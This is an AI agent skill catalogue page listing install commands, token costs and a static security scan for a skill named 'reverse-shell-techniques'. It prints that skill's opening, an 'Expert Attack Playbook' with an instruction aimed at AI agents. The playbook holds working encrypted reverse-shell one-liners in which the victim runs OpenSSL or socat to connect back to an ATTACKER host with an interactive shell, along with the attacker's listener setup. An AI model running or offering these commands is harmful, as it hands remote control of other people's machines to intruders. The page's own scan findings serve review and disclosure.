Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add JustineDevs/premortem --skill reverse-shell-techniquesgit clone --depth 1 https://github.com/JustineDevs/premortemWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/justinedevs/premortem/reverse-shell-techniques)<a href="https://agentmods.dev/skills/justinedevs/premortem/reverse-shell-techniques"><img src="https://agentmods.dev/badge/skills/justinedevs/premortem/reverse-shell-techniques/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/justinedevs/premortem/reverse-shell-techniques"><img src="https://agentmods.dev/badge/skills/justinedevs/premortem/reverse-shell-techniques.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00052 | $0.02701 |
| Opus 5 | $0.00026 | $0.01350 |
| Sonnet 5 | $0.00010 | $0.00540 |
| Haiku 4.5 | $0.00005 | $0.00270 |
Grade C, and why
reverse-shell-techniques scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Hidden instructionshighPrompt injection
Directives inside HTML comments, invisible characters or bidirectional overrides are read by the model and not by the person reviewing the file.
<!-- POST-based with password --> Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
# wget / curl This is a copy
100% identical to reverse-shell-techniques — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 291 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Reverse Shell Techniques — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert reverse shell techniques. Covers reverse/bind shell decisions, encrypted shells (OpenSSL, socat SSL, ncat), web shell patterns (PHP/ASPX/JSP), PTY upgrade sequences, file transfer methods, PowerShell download cradles, and msfvenom payload generation. Base models miss encrypted shell syntax, proper PTY stabilization, and platform-specific transfer techniques.
0. RELATED ROUTING
Before going deep, consider loading:
- tunneling-and-pivoting after shell access for network pivoting
- linux-privilege-escalation or windows-privilege-escalation after landing shell
- windows-av-evasion when AV blocks shell payloads
Quick Reference
Also load SHELL_CHEATSHEET.md when you need:
- Complete one-liner reverse shells for 20+ languages
- Copy-paste ready payloads with placeholder substitution
1. REVERSE vs BIND SHELL DECISION
| Factor | Reverse Shell | Bind Shell |
|---|---|---|
| Firewall (egress) | Works if outbound allowed | Blocked by egress filtering |
| Firewall (ingress) | Not blocked | Requires inbound access to victim |
| NAT | Works (victim connects out) | Fails (can't reach victim behind NAT) |
| Detection | Outbound connection — less suspicious | Listening port — easily detected |
| Default choice | Almost always preferred | Only when no egress + have inbound |
2. ENCRYPTED SHELLS
OpenSSL Reverse Shell
# Attacker: generate cert + listen
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=localhost'
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
# Victim:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER:4444 > /tmp/s; rm /tmp/s
Socat Encrypted Shell
# Attacker: generate cert + listen
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt
cat shell.key shell.crt > shell.pem
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork STDOUT
# Victim:
socat OPENSSL:ATTACKER:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 291 lines · 52 tokens per session scan C 443ec805225a
reverse-shell-techniques is a skill published in the GitHub repository JustineDevs/premortem (2 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 52 tokens to every session and 2,701 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 2 findings (hidden instructions, makes network calls). It is 100% identical to reverse-shell-techniques, differing in 0 lines, and is treated as a copy.
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